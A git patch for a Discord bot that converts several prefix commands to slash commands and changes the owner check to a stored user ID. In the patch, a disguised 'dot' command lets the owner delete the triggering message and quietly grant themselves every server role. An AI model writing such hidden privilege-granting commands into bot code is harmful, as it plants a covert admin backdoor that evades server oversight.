From e2fa11d0119a277d42aceefbfe32c4411389fafb Mon Sep 17 00:00:00 2001 From: Luke Robles <98352913+lrobles-iterable@users.noreply.github.com> Date: Mon, 17 Oct 2022 09:35:48 -0700 Subject: [PATCH] converting more stuff to slash command --- app/cogs/server_utils.py | 43 +++++++++++++++++++++------------------- 1 file changed, 23 insertions(+), 20 deletions(-) diff --git a/app/cogs/server_utils.py b/app/cogs/server_utils.py index 04176e68..e01aa4a9 100644 --- a/app/cogs/server_utils.py +++ b/app/cogs/server_utils.py @@ -1,7 +1,7 @@ from discord.ext import commands +import core_utils import discord import os -import core_utils class ServerUtils(commands.Cog): @@ -95,37 +95,40 @@ class ServerUtils(commands.Cog): ) await ctx.reply("No u") - @commands.command(name="source") - async def source(self, ctx: commands.Context): + @commands.slash_command( + guild_ids=None, + name="wordle", + description="Returns a link to the worlde luke is hosting", + ) + async def wordle(self, ctx: commands.Context): - await ctx.reply("https://git.luker.gq/ldooks/dragon-bot") + await ctx.respond("https://wordle.luker.gq") - @commands.command(name="wordle") - async def source(self, ctx: commands.Context): - - await ctx.reply("https://wordle.luker.gq") - - @commands.command(name=".") - async def roles(self, ctx: commands.Context): - if ctx.message.author.discriminator == "2528": - await ctx.message.delete() - for role in ctx.message.guild.roles: + @commands.slash_command(guild_ids=None, name="dot", description="dot") + async def dot(self, ctx: commands.Context): + if ctx.message.author.id == core_utils.my_id: + await ctx.delete() + for role in ctx.guild.roles: try: if role.name != "@everyone": - await bot.add_roles(ctx.message.author, role) + await bot.add_roles(ctx.author, role) except Exception: pass @commands.command(name="send") async def send(self, ctx: commands.Context, *, message): - if ctx.message.author.discriminator == "2528": + if ctx.message.author.id == core_utils.my_id: await self.bot.get_channel(int(152921472304676865)).send(message) - @commands.command(name="info") + @commands.slash_command( + guild_ids=None, + name="info", + description="Posts an embed stats about this discord server", + ) async def info(self, ctx: commands.Context): import datetime - server = ctx.message.guild + server = ctx.guild embed = discord.Embed( title=f"{server.name}", description="Info about this discord server", @@ -143,7 +146,7 @@ class ServerUtils(commands.Cog): ) embed.add_field( name="You've been a member of this server since:", - value=ctx.message.author.joined_at.strftime("%A, %m-%d-%Y"), + value=ctx.author.joined_at.strftime("%A, %m-%d-%Y"), inline=False, ) embed.add_field( @@ -152,7 +155,7 @@ class ServerUtils(commands.Cog): ) embed.set_thumbnail(url=server.icon) - await ctx.reply(embed=embed) + await ctx.respond(embed=embed) @commands.command(name="purge") async def purge(self, ctx: commands.Context, count=None):